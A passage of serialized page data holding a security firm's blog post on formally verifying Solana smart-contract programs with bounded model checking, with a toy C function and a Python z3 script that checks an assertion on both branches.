multisig.","harrison",{"src":20718,"height":15617,"width":13},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[17,4913],{"type":19,"children":20722,"toc":30911},[20723,20728,20733,20759,20763,20775,20798,20821,20833,20856,20859,20865,20915,20921,20927,20932,20943,20984,20989,20995,21000,21233,21253,21258,21263,21336,21341,21411,21425,21849,21869,21875,21894,21899,21904,21909,21915,21927,21962,21973,21984,21996,22001,22033,22057,22076,22082,22099,22105,22132,22137,22157,22169,22310,22338,22341,22353,22435,22453,22456,22495,22661,22666,22672,22684,22703,22716,22874,22886,22899,23370,23375,23422,23428,23446,23515,23753,23967,23972,24046,24094,24099,24105,24207,24311,24316,24379,24384,24390,24455,24460,24502,24528,24534,24603,24608,24658,24669,24675,24686,24707,24712,24717,24740,24746,24758,24778,25873,25892,25943,25948,25956,25968,25973,25981,25986,26002,26038,26043,26137,26142,26150,26155,26266,26271,26279,26292,26456,26461,26469,26474,26479,26547,26581,26587,26592,26603,26621,26999,27011,27023,27031,27042,27073,27078,27086,27091,27362,27381,27386,27412,28278,28290,28389,28401,28443,28448,28460,28468,28473,28485,28511,28671,28683,28691,28696,28972,28977,28989,29144,29164,29490,29524,29716,29749,29761,29883,29903,29908,29913,29918,29931,29939,29944,30418,30430,30435,30447,30452,30711,30737,30742,30748,30754,30766,30778,30797,30844,30849,30855,30860,30865,30870,30875,30880,30885,30888,30907],{"type":22,"tag":31,"props":20724,"children":20725},{},[20726],{"type":28,"value":20727},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":22,"tag":31,"props":20729,"children":20730},{},[20731],{"type":28,"value":20732},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":22,"tag":31,"props":20734,"children":20735},{},[20736,20738,20742,20744,20749,20751,20758],{"type":28,"value":20737},"In the world of Web3 we create programs that talk to strangers ",{"type":22,"tag":4764,"props":20739,"children":20740},{},[20741],{"type":28,"value":18338},{"type":28,"value":20743}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":22,"tag":4764,"props":20745,"children":20746},{},[20747],{"type":28,"value":20748},"juciest",{"type":28,"value":20750},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":22,"tag":42,"props":20752,"children":20755},{"href":20753,"rel":20754},"https://rekt.news/leaderboard/",[46],[20756],{"type":28,"value":20757},"hundreds of millions of dollars",{"type":28,"value":292},{"type":22,"tag":20760,"props":20761,"children":20762},"hr",{},[],{"type":22,"tag":31,"props":20764,"children":20765},{},[20766,20768,20773],{"type":28,"value":20767},"At OtterSec we are ",{"type":22,"tag":4764,"props":20769,"children":20770},{},[20771],{"type":28,"value":20772},"highly skilled in pest control",{"type":28,"value":20774}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":22,"tag":31,"props":20776,"children":20777},{},[20778,20780,20787,20789,20796],{"type":28,"value":20779},"Recently we were contacted by the ",{"type":22,"tag":42,"props":20781,"children":20784},{"href":20782,"rel":20783},"https://squads.so/",[46],[20785],{"type":28,"value":20786},"Squads team",{"type":28,"value":20788}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":22,"tag":42,"props":20790,"children":20793},{"href":20791,"rel":20792},"https://github.com/Squads-Protocol/squads-mpl",[46],[20794],{"type":28,"value":20795},"Squads Multisig Program",{"type":28,"value":20797}," as our main case study.",{"type":22,"tag":31,"props":20799,"children":20800},{},[20801,20803,20810,20812,20819],{"type":28,"value":20802},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":22,"tag":42,"props":20804,"children":20807},{"href":20805,"rel":20806},"https://www.anchor-lang.com/",[46],[20808],{"type":28,"value":20809},"anchor-lang",{"type":28,"value":20811}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":22,"tag":42,"props":20813,"children":20816},{"href":20814,"rel":20815},"https://github.com/model-checking/kani",[46],[20817],{"type":28,"value":20818},"Kani Rust Verifier",{"type":28,"value":20820},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":22,"tag":31,"props":20822,"children":20823},{},[20824,20826,20831],{"type":28,"value":20825},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":22,"tag":4764,"props":20827,"children":20828},{},[20829],{"type":28,"value":20830},"bounded model checking",{"type":28,"value":20832}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":22,"tag":31,"props":20834,"children":20835},{},[20836],{"type":22,"tag":4764,"props":20837,"children":20838},{},[20839,20841,20848,20850],{"type":28,"value":20840},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":22,"tag":42,"props":20842,"children":20845},{"href":20843,"rel":20844},"https://osec.io/contact",[46],[20846],{"type":28,"value":20847},"this form",{"type":28,"value":20849}," or email us at ",{"type":22,"tag":42,"props":20851,"children":20853},{"href":20852},"mailto:contact@osec.io",[20854],{"type":28,"value":20855},"contact@osec.io",{"type":22,"tag":20760,"props":20857,"children":20858},{},[],{"type":22,"tag":1899,"props":20860,"children":20862},{"id":20861},"contents",[20863],{"type":28,"value":20864},"Contents:",{"type":22,"tag":4029,"props":20866,"children":20867},{},[20868,20873,20890,20900,20905,20910],{"type":22,"tag":68,"props":20869,"children":20870},{},[20871],{"type":28,"value":20872},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":22,"tag":68,"props":20874,"children":20875},{},[20876,20881,20883,20888],{"type":22,"tag":74,"props":20877,"children":20878},{},[20879],{"type":28,"value":20880},"Specification",{"type":28,"value":20882},": How can we describe what we ",{"type":22,"tag":4764,"props":20884,"children":20885},{},[20886],{"type":28,"value":20887},"want",{"type":28,"value":20889}," our program to do?",{"type":22,"tag":68,"props":20891,"children":20892},{},[20893,20898],{"type":22,"tag":74,"props":20894,"children":20895},{},[20896],{"type":28,"value":20897},"Verification",{"type":28,"value":20899},": How do we check that our model is correct?",{"type":22,"tag":68,"props":20901,"children":20902},{},[20903],{"type":28,"value":20904},"Case Study: Squads Multisig",{"type":22,"tag":68,"props":20906,"children":20907},{},[20908],{"type":28,"value":20909},"Additional challenges in Solana",{"type":22,"tag":68,"props":20911,"children":20912},{},[20913],{"type":28,"value":20914},"Conclusion",{"type":22,"tag":23,"props":20916,"children":20918},{"id":20917},"formal-verification-with-bounded-model-checking",[20919],{"type":28,"value":20920},"Formal Verification with Bounded Model Checking",{"type":22,"tag":1289,"props":20922,"children":20924},{"id":20923},"overview",[20925],{"type":28,"value":20926},"Overview",{"type":22,"tag":31,"props":20928,"children":20929},{},[20930],{"type":28,"value":20931},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":22,"tag":31,"props":20933,"children":20934},{},[20935,20937,20942],{"type":28,"value":20936},"There are many different flavors of formal verification, however in this research we are using ",{"type":22,"tag":74,"props":20938,"children":20939},{},[20940],{"type":28,"value":20941},"bounded model checking (BMC)",{"type":28,"value":292},{"type":22,"tag":31,"props":20944,"children":20945},{},[20946,20948,20953,20955,20960,20962,20966,20968,20974,20976,20982],{"type":28,"value":20947},"In short, the idea of BMC is to execute our program ",{"type":22,"tag":4764,"props":20949,"children":20950},{},[20951],{"type":28,"value":20952},"symbolically",{"type":28,"value":20954}," rather than ",{"type":22,"tag":4764,"props":20956,"children":20957},{},[20958],{"type":28,"value":20959},"concretely",{"type":28,"value":20961},". Instead of actually performing an ",{"type":22,"tag":4764,"props":20963,"children":20964},{},[20965],{"type":28,"value":11636},{"type":28,"value":20967}," when we see the line ",{"type":22,"tag":114,"props":20969,"children":20971},{"className":20970},[],[20972],{"type":28,"value":20973},"int x = a + b",{"type":28,"value":20975},", we store the symbolic expression ",{"type":22,"tag":114,"props":20977,"children":20979},{"className":20978},[],[20980],{"type":28,"value":20981},"x == a + b",{"type":28,"value":20983},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":22,"tag":31,"props":20985,"children":20986},{},[20987],{"type":28,"value":20988},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":22,"tag":1289,"props":20990,"children":20992},{"id":20991},"a-simple-example",[20993],{"type":28,"value":20994},"A simple example",{"type":22,"tag":31,"props":20996,"children":20997},{},[20998],{"type":28,"value":20999},"As an example, consider the following function:",{"type":22,"tag":107,"props":21001,"children":21003},{"code":21002,"language":5169,"meta":7,"className":18481,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[21004],{"type":22,"tag":114,"props":21005,"children":21006},{"__ignoreMap":7},[21007,21037,21071,21083,21108,21136,21151,21178,21185,21192,21200,21226],{"type":22,"tag":118,"props":21008,"children":21009},{"class":120,"line":121},[21010,21015,21020,21024,21028,21033],{"type":22,"tag":118,"props":21011,"children":21012},{"style":146},[21013],{"type":28,"value":21014},"int",{"type":22,"tag":118,"props":21016,"children":21017},{"style":532},[21018],{"type":28,"value":21019}," foo",{"type":22,"tag":118,"props":21021,"children":21022},{"style":125},[21023],{"type":28,"value":540},{"type":22,"tag":118,"props":21025,"children":21026},{"style":146},[21027],{"type":28,"value":21014},{"type":22,"tag":118,"props":21029,"children":21030},{"style":204},[21031],{"type":28,"value":21032}," x",{"type":22,"tag":118,"props":21034,"children":21035},{"style":125},[21036],{"type":28,"value":16783},{"type":22,"tag":118,"props":21038,"children":21039},{"class":120,"line":142},[21040,21045,21049,21053,21058,21062,21067],{"type":22,"tag":118,"props":21041,"children":21042},{"style":146},[21043],{"type":28,"value":21044},"    int",{"type":22,"tag":118,"props":21046,"children":21047},{"style":125},[21048],{"type":28,"value":6526},{"type":22,"tag":118,"props":21050,"children":21051},{"style":210},[21052],{"type":28,"value":282},{"type":22,"tag":118,"props":21054,"children":21055},{"style":125},[21056],{"type":28,"value":21057}," x ",{"type":22,"tag":118,"props":21059,"children":21060},{"style":210},[21061],{"type":28,"value":3220},{"type":22,"tag":118,"props":21063,"children":21064},{"style":674},[21065],{"type":28,"value":21066}," 3",{"type":22,"tag":118,"props":21068,"children":21069},{"style":125},[21070],{"type":28,"value":801},{"type":22,"tag":118,"props":21072,"children":21073},{"class":120,"line":177},[21074,21078],{"type":22,"tag":118,"props":21075,"children":21076},{"style":146},[21077],{"type":28,"value":21044},{"type":22,"tag":118,"props":21079,"children":21080},{"style":125},[21081],{"type":28,"value":21082}," z;\n",{"type":22,"tag":118,"props":21084,"children":21085},{"class":120,"line":195},[21086,21090,21095,21099,21104],{"type":22,"tag":118,"props":21087,"children":21088},{"style":1480},[21089],{"type":28,"value":2159},{"type":22,"tag":118,"props":21091,"children":21092},{"style":125},[21093],{"type":28,"value":21094}," (y ",{"type":22,"tag":118,"props":21096,"children":21097},{"style":210},[21098],{"type":28,"value":12460},{"type":22,"tag":118,"props":21100,"children":21101},{"style":674},[21102],{"type":28,"value":21103}," 100",{"type":22,"tag":118,"props":21105,"children":21106},{"style":125},[21107],{"type":28,"value":16783},{"type":22,"tag":118,"props":21109,"children":21110},{"class":120,"line":244},[21111,21116,21120,21124,21128,21132],{"type":22,"tag":118,"props":21112,"children":21113},{"style":125},[21114],{"type":28,"value":21115},"        z ",{"type":22,"tag":118,"props":21117,"children":21118},{"style":210},[21119],{"type":28,"value":282},{"type":22,"tag":118,"props":21121,"children":21122},{"style":125},[21123],{"type":28,"value":6526},{"type":22,"tag":118,"props":21125,"children":21126},{"style":210},[21127],{"type":28,"value":671},{"type":22,"tag":118,"props":21129,"children":21130},{"style":674},[21131],{"type":28,"value":677},{"type":22,"tag":118,"props":21133,"children":21134},{"style":125},[21135],{"type":28,"value":801},{"type":22,"tag":118,"props":21137,"children":21138},{"class":120,"line":253},[21139,21143,21147],{"type":22,"tag":118,"props":21140,"children":21141},{"style":125},[21142],{"type":28,"value":17746},{"type":22,"tag":118,"props":21144,"children":21145},{"style":1480},[21146],{"type":28,"value":5335},{"type":22,"tag":118,"props":21148,"children":21149},{"style":125},[21150],{"type":28,"value":1474},{"type":22,"tag":118,"props":21152,"children":21153},{"class":120,"line":263},[21154,21158,21162,21166,21170,21174],{"type":22,"tag":118,"props":21155,"children":21156},{"style":125},[21157],{"type":28,"value":21115},{"type":22,"tag":118,"props":21159,"children":21160},{"style":210},[21161],{"type":28,"value":282},{"type":22,"tag":118,"props":21163,"children":21164},{"style":125},[21165],{"type":28,"value":6526},{"type":22,"tag":118,"props":21167,"children":21168},{"style":210},[21169],{"type":28,"value":3220},{"type":22,"tag":118,"props":21171,"children":21172},{"style":674},[21173],{"type":28,"value":6535},{"type":22,"tag":118,"props":21175,"children":21176},{"style":125},[21177],{"type":28,"value":801},{"type":22,"tag":118,"props":21179,"children":21180},{"class":120,"line":318},[21181],{"type":22,"tag":118,"props":21182,"children":21183},{"style":125},[21184],{"type":28,"value":1254},{"type":22,"tag":118,"props":21186,"children":21187},{"class":120,"line":351},[21188],{"type":22,"tag":118,"props":21189,"children":21190},{"emptyLinePlaceholder":15},[21191],{"type":28,"value":250},{"type":22,"tag":118,"props":21193,"children":21194},{"class":120,"line":359},[21195],{"type":22,"tag":118,"props":21196,"children":21197},{"style":257},[21198],{"type":28,"value":21199},"    // Property P:\n",{"type":22,"tag":118,"props":21201,"children":21202},{"class":120,"line":368},[21203,21208,21213,21217,21222],{"type":22,"tag":118,"props":21204,"children":21205},{"style":532},[21206],{"type":28,"value":21207},"    assert",{"type":22,"tag":118,"props":21209,"children":21210},{"style":125},[21211],{"type":28,"value":21212},"(z ",{"type":22,"tag":118,"props":21214,"children":21215},{"style":210},[21216],{"type":28,"value":17659},{"type":22,"tag":118,"props":21218,"children":21219},{"style":674},[21220],{"type":28,"value":21221}," 105",{"type":22,"tag":118,"props":21223,"children":21224},{"style":125},[21225],{"type":28,"value":682},{"type":22,"tag":118,"props":21227,"children":21228},{"class":120,"line":384},[21229],{"type":22,"tag":118,"props":21230,"children":21231},{"style":125},[21232],{"type":28,"value":481},{"type":22,"tag":31,"props":21234,"children":21235},{},[21236,21238,21244,21246,21252],{"type":28,"value":21237},"This function takes an input ",{"type":22,"tag":114,"props":21239,"children":21241},{"className":21240},[],[21242],{"type":28,"value":21243},"x",{"type":28,"value":21245}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":22,"tag":114,"props":21247,"children":21249},{"className":21248},[],[21250],{"type":28,"value":21251},"z != 105",{"type":28,"value":292},{"type":22,"tag":31,"props":21254,"children":21255},{},[21256],{"type":28,"value":21257},"With BMC, we could trace this program and derive the following constraints:",{"type":22,"tag":31,"props":21259,"children":21260},{},[21261],{"type":28,"value":21262},"Positive branch:",{"type":22,"tag":107,"props":21264,"children":21266},{"code":21265,"language":5169,"meta":7,"className":18481,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[21267],{"type":22,"tag":114,"props":21268,"children":21269},{"__ignoreMap":7},[21270,21295,21311],{"type":22,"tag":118,"props":21271,"children":21272},{"class":120,"line":121},[21273,21278,21282,21286,21290],{"type":22,"tag":118,"props":21274,"children":21275},{"style":125},[21276],{"type":28,"value":21277},"y ",{"type":22,"tag":118,"props":21279,"children":21280},{"style":210},[21281],{"type":28,"value":302},{"type":22,"tag":118,"props":21283,"children":21284},{"style":125},[21285],{"type":28,"value":21057},{"type":22,"tag":118,"props":21287,"children":21288},{"style":210},[21289],{"type":28,"value":3220},{"type":22,"tag":118,"props":21291,"children":21292},{"style":674},[21293],{"type":28,"value":21294}," 3\n",{"type":22,"tag":118,"props":21296,"children":21297},{"class":120,"line":142},[21298,21302,21306],{"type":22,"tag":118,"props":21299,"children":21300},{"style":125},[21301],{"type":28,"value":21277},{"type":22,"tag":118,"props":21303,"children":21304},{"style":210},[21305],{"type":28,"value":12460},{"type":22,"tag":118,"props":21307,"children":21308},{"style":674},[21309],{"type":28,"value":21310}," 100\n",{"type":22,"tag":118,"props":21312,"children":21313},{"class":120,"line":177},[21314,21319,21323,21327,21331],{"type":22,"tag":118,"props":21315,"children":21316},{"style":125},[21317],{"type":28,"value":21318},"z ",{"type":22,"tag":118,"props":21320,"children":21321},{"style":210},[21322],{"type":28,"value":302},{"type":22,"tag":118,"props":21324,"children":21325},{"style":125},[21326],{"type":28,"value":6526},{"type":22,"tag":118,"props":21328,"children":21329},{"style":210},[21330],{"type":28,"value":671},{"type":22,"tag":118,"props":21332,"children":21333},{"style":674},[21334],{"type":28,"value":21335}," 2\n",{"type":22,"tag":31,"props":21337,"children":21338},{},[21339],{"type":28,"value":21340},"Negative branch:",{"type":22,"tag":107,"props":21342,"children":21344},{"code":21343,"language":5169,"meta":7,"className":18481,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[21345],{"type":22,"tag":114,"props":21346,"children":21347},{"__ignoreMap":7},[21348,21371,21387],{"type":22,"tag":118,"props":21349,"children":21350},{"class":120,"line":121},[21351,21355,21359,21363,21367],{"type":22,"tag":118,"props":21352,"children":21353},{"style":125},[21354],{"type":28,"value":21277},{"type":22,"tag":118,"props":21356,"children":21357},{"style":210},[21358],{"type":28,"value":302},{"type":22,"tag":118,"props":21360,"children":21361},{"style":125},[21362],{"type":28,"value":21057},{"type":22,"tag":118,"props":21364,"children":21365},{"style":210},[21366],{"type":28,"value":3220},{"type":22,"tag":118,"props":21368,"children":21369},{"style":674},[21370],{"type":28,"value":21294},{"type":22,"tag":118,"props":21372,"children":21373},{"class":120,"line":142},[21374,21378,21383],{"type":22,"tag":118,"props":21375,"children":21376},{"style":125},[21377],{"type":28,"value":21277},{"type":22,"tag":118,"props":21379,"children":21380},{"style":210},[21381],{"type":28,"value":21382},"\u003C=",{"type":22,"tag":118,"props":21384,"children":21385},{"style":674},[21386],{"type":28,"value":21310},{"type":22,"tag":118,"props":21388,"children":21389},{"class":120,"line":177},[21390,21394,21398,21402,21406],{"type":22,"tag":118,"props":21391,"children":21392},{"style":125},[21393],{"type":28,"value":21318},{"type":22,"tag":118,"props":21395,"children":21396},{"style":210},[21397],{"type":28,"value":302},{"type":22,"tag":118,"props":21399,"children":21400},{"style":125},[21401],{"type":28,"value":6526},{"type":22,"tag":118,"props":21403,"children":21404},{"style":210},[21405],{"type":28,"value":3220},{"type":22,"tag":118,"props":21407,"children":21408},{"style":674},[21409],{"type":28,"value":21410}," 1\n",{"type":22,"tag":31,"props":21412,"children":21413},{},[21414,21416,21423],{"type":28,"value":21415},"Using the ",{"type":22,"tag":42,"props":21417,"children":21420},{"href":21418,"rel":21419},"https://github.com/Z3Prover/z3",[46],[21421],{"type":28,"value":21422},"z3",{"type":28,"value":21424}," SMT solver, we could check both of these cases like so:",{"type":22,"tag":107,"props":21426,"children":21430},{"code":21427,"language":21428,"meta":7,"className":21429,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[21431],{"type":22,"tag":114,"props":21432,"children":21433},{"__ignoreMap":7},[21434,21457,21464,21490,21514,21538,21545,21553,21570,21598,21617,21645,21652,21660,21680,21698,21705,21713,21728,21755,21774,21801,21808,21815,21834],{"type":22,"tag":118,"props":21435,"children":21436},{"class":120,"line":121},[21437,21442,21447,21452],{"type":22,"tag":118,"props":21438,"children":21439},{"style":1480},[21440],{"type":28,"value":21441},"from",{"type":22,"tag":118,"props":21443,"children":21444},{"style":125},[21445],{"type":28,"value":21446}," z3 ",{"type":22,"tag":118,"props":21448,"children":21449},{"style":1480},[21450],{"type":28,"value":21451},"import",{"type":22,"tag":118,"props":21453,"children":21454},{"style":210},[21455],{"type":28,"value":21456}," *\n",{"type":22,"tag":118,"props":21458,"children":21459},{"class":120,"line":142},[21460],{"type":22,"tag":118,"props":21461,"children":21462},{"emptyLinePlaceholder":15},[21463],{"type":28,"value":250},{"type":22,"tag":118,"props":21465,"children":21466},{"class":120,"line":177},[21467,21472,21476,21481,21486],{"type":22,"tag":118,"props":21468,"children":21469},{"style":125},[21470],{"type":28,"value":21471},"x ",{"type":22,"tag":118,"props":21473,"children":21474},{"style":210},[21475],{"type":28,"value":282},{"type":22,"tag":118,"props":21477,"children":21478},{"style":125},[21479],{"type":28,"value":21480}," Int(",{"type":22,"tag":118,"props":21482,"children":21483},{"style":1866},[21484],{"type":28,"value":21485},"'x'",{"type":22,"tag":118,"props":21487,"children":21488},{"style":125},[21489],{"type":28,"value":3665},{"type":22,"tag":118,"props":21491,"children":21492},{"class":120,"line":195},[21493,21497,21501,21505,21510],{"type":22,"tag":118,"props":21494,"children":21495},{"style":125},[21496],{"type":28,"value":21277},{"type":22,"tag":118,"props":21498,"children":21499},{"style":210},[21500],{"type":28,"value":282},{"type":22,"tag":118,"props":21502,"children":21503},{"style":125},[21504],{"type":28,"value":21480},{"type":22,"tag":118,"props":21506,"children":21507},{"style":1866},[21508],{"type":28,"value":21509},"'y'",{"type":22,"tag":118,"props":21511,"children":21512},{"style":125},[21513],{"type":28,"value":3665},{"type":22,"tag":118,"props":21515,"children":21516},{"class":120,"line":244},[21517,21521,21525,21529,21534],{"type":22,"tag":118,"props":21518,"children":21519},{"style":125},[21520],{"type":28,"value":21318},{"type":22,"tag":118,"props":21522,"children":21523},{"style":210},[21524],{"type":28,"value":282},{"type":22,"tag":118,"props":21526,"children":21527},{"style":125},[21528],{"type":28,"value":21480},{"type":22,"tag":118,"props":21530,"children":21531},{"style":1866},[21532],{"type":28,"value":21533},"'z'",{"type":22,"tag":118,"props":21535,"children":21536},{"style":125},[21537],{"type":28,"value":3665},{"type":22,"tag":118,"props":21539,"children":21540},{"class":120,"line":253},[21541],{"type":22,"tag":118,"props":21542,"children":21543},{"emptyLinePlaceholder":15},[21544],{"type":28,"value":250},{"type":22,"tag":118,"props":21546,"children":21547},{"class":120,"line":263},[21548],{"type":22,"tag":118,"props":21549,"children":21550},{"style":257},[21551],{"type":28,"value":21552},"# Positive branch:\n",{"type":22,"tag":118,"props":21554,"children":21555},{"class":120,"line":318},[21556,21561,21565],{"type":22,"tag":118,"props":21557,"children":21558},{"style":125},[21559],{"type":28,"value":21560},"s ",{"type":22,"tag":118,"props":21562,"children":21563},{"style":210},[21564],{"type":28,"value":282},{"type":22,"tag":118,"props":21566,"children":21567},{"style":125},[21568],{"type":28,"value":21569}," Solver()\n",{"type":22,"tag":118,"props":21571,"children":21572},{"class":120,"line":351},[21573,21578,21582,21586,21590,21594],{"type":22,"tag":118,"props":21574,"children":21575},{"style":125},[21576],{"type":28,"value":21577},"s.add(y ",{"type":22,"tag":118,"props":21579,"children":21580},{"style":210},[21581],{"type":28,"value":302},{"type":22,"tag":118,"props":21583,"children":21584},{"style":125},[21585],{"type":28,"value":21057},{"type":22,"tag":118,"props":21587,"children":21588},{"style":210},[21589],{"type":28,"value":3220},{"type":22,"tag":118,"props":21591,"children":21592},{"style":674},[21593],{"type":28,"value":21066},{"type":22,"tag":118,"props":21595,"children":21596},{"style":125},[21597],{"type":28,"value":3665},{"type":22,"tag":118,"props":21599,"children":21600},{"class":120,"line":359},[21601,21605,21609,21613],{"type":22,"tag":118,"props":21602,"children":21603},{"style":125},[21604],{"type":28,"value":21577},{"type":22,"tag":118,"props":21606,"children":21607},{"style":210},[21608],{"type":28,"value":12460},{"type":22,"tag":118,"props":21610,"children":21611},{"style":674},[21612],{"type":28,"value":21103},{"type":22,"tag":118,"props":21614,"children":21615},{"style":125},[21616],{"type":28,"value":3665},{"type":22,"tag":118,"props":21618,"children":21619},{"class":120,"line":368},[21620,21625,21629,21633,21637,21641],{"type":22,"tag":118,"props":21621,"children":21622},{"style":125},[21623],{"type":28,"value":21624},"s.add(z ",{"type":22,"tag":118,"props":21626,"children":21627},{"style":210},[21628],{"type":28,"value":302},{"type":22,"tag":118,"props":21630,"children":21631},{"style":125},[21632],{"type":28,"value":6526},{"type":22,"tag":118,"props":21634,"children":21635},{"style":210},[21636],{"type":28,"value":671},{"type":22,"tag":118,"props":21638,"children":21639},{"style":674},[21640],{"type":28,"value":677},{"type":22,"tag":118,"props":21642,"children":21643},{"style":125},[21644],{"type":28,"value":3665},{"type":22,"tag":118,"props":21646,"children":21647},{"class":120,"line":384},[21648],{"type":22,"tag":118,"props":21649,"children":21650},{"emptyLinePlaceholder":15},[21651],{"type":28,"value":250},{"type":22,"tag":118,"props":21653,"children":21654},{"class":120,"line":417},[21655],{"type":22,"tag":118,"props":21656,"children":21657},{"style":257},[21658],{"type":28,"value":21659},"# check if we can violate the correctness property\n",{"type":22,"tag":118,"props":21661,"children":21662},{"class":120,"line":425},[21663,21668,21672,21676],{"type":22,"tag":118,"props":21664,"children":21665},{"style":125},[21666],{"type":28,"value":21667},"s.add(Not(z ",{"type":22,"tag":118,"props":21669,"children":21670},{"style":210},[21671],{"type":28,"value":17659},{"type":22,"tag":118,"props":21673,"children":21674},{"style":674},[21675],{"type":28,"value":21221},{"type":22,"tag":118,"props":21677,"children":21678},{"style":125},[21679],{"type":28,"value":3334},{"type":22,"tag":118,"props":21681,"children":21682},{"class":120,"line":441},[21683,21688,21693],{"type":22,"tag":118,"props":21684,"children":21685},{"style":532},[21686],{"type":28,"value":21687},"print",{"type":22,"tag":118,"props":21689,"children":21690},{"style":125},[21691],{"type":28,"value":21692},"(s.check()) ",{"type":22,"tag":118,"props":21694,"children":21695},{"style":257},[21696],{"type":28,"value":21697},"# \"unsat\"\n",{"type":22,"tag":118,"props":21699,"children":21700},{"class":120,"line":475},[21701],{"type":22,"tag":118,"props":21702,"children":21703},{"emptyLinePlaceholder":15},[21704],{"type":28,"value":250},{"type":22,"tag":118,"props":21706,"children":21707},{"class":120,"line":484},[21708],{"type":22,"tag":118,"props":21709,"children":21710},{"style":257},[21711],{"type":28,"value":21712},"# Negative branch:\n",{"type":22,"tag":118,"props":21714,"children":21715},{"class":120,"line":492},[21716,21720,21724],{"type":22,"tag":118,"props":21717,"children":21718},{"style":125},[21719],{"type":28,"value":21560},{"type":22,"tag":118,"props":21721,"children":21722},{"style":210},[21723],{"type":28,"value":282},{"type":22,"tag":118,"props":21725,"children":21726},{"style":125},[21727],{"type":28,"value":21569},{"type":22,"tag":118,"props":21729,"children":21730},{"class":120,"line":501},[21731,21735,21739,21743,21747,21751],{"type":22,"tag":118,"props":21732,"children":21733},{"style":125},[21734],{"type":28,"value":21577},{"type":22,"tag":118,"props":21736,"children":21737},{"style":210},[21738],{"type":28,"value":302},{"type":22,"tag":118,"props":21740,"children":21741},{"style":125},[21742],{"type":28,"value":21057},{"type":22,"tag":118,"props":21744,"children":21745},{"style":210},[21746],{"type":28,"value":3220},{"type":22,"tag":118,"props":21748,"children":21749},{"style":674},[21750],{"type":28,"value":21066},{"type":22,"tag":118,"props":21752,"children":21753},{"style":125},[21754],{"type":28,"value":3665},{"type":22,"tag":118,"props":21756,"children":21757},{"class":120,"line":519},[21758,21762,21766,21770],{"type":22,"tag":118,"props":21759,"children":21760},{"style":125},[21761],{"type":28,"value":21577},{"type":22,"tag":118,"props":21763,"children":21764},{"style":210},[21765],{"type":28,"value":21382},{"type":22,"tag":118,"props":21767,"children":21768},{"style":674},[21769],{"type":28,"value":21103},{"type":22,"tag":118,"props":21771,"children":21772},{"style":125},[21773],{"type":28,"value":3665},{"type":22,"tag":118,"props":21775,"children":21776},{"class":120,"line":606},[21777,21781,21785,21789,21793,21797],{"type":22,"tag":118,"props":21778,"children":21779},{"style":125},[21780],{"type":28,"value":21624},{"type":22,"tag":118,"props":21782,"children":21783},{"style":210},[21784],{"type":28,"value":302},{"type":22,"tag":118,"props":21786,"children":21787},{"style":125},[21788],{"type":28,"value":6526},{"type":22,"tag":118,"props":21790,"children":21791},{"style":210},[21792],{"type":28,"value":3220},{"type":22,"tag":118,"props":21794,"children":21795},{"style":674},[21796],{"type":28,"value":6535},{"type":22,"tag":118,"props":21798,"children":21799},{"style":125},[21800],{"type":28,"value":3665},{"type":22,"tag":118,"props":21802,"children":21803},{"class":120,"line":615},[21804],{"type":22,"tag":118,"props":21805,"children":21806},{"emptyLinePlaceholder":15},[21807],{"type":28,"value":250},{"type":22,"tag":118,"props":21809,"children":21810},{"class":120,"line":685},[21811],{"type":22,"tag":118,"props":21812,"children":21813},{"style":257},[21814],{"type":28,"value":21659},{"type":22,"tag":118,"props":21816,"children":21817},{"class":120,"line":699},[21818,21822,21826,21830],{"type":22,"tag":118,"props":21819,"children":21820},{"style":125},[21821],{"type":28,"value":21667},{"type":22,"tag":118,"props":21823,"children":21824},{"style":210},[21825],{"type":28,"value":17659},{"type":22,"tag":118,"props":21827,"children":21828},{"style":674},[21829],{"type":28,"value":21221},{"type":22,"tag":118,"props":21831,"children":21832},{"style":125},[21833],{"type":28,"value":3334},{"type":22,"tag":118,"props":21835,"children":21836},{"class":120,"line":729},[21837,21841,21845],{"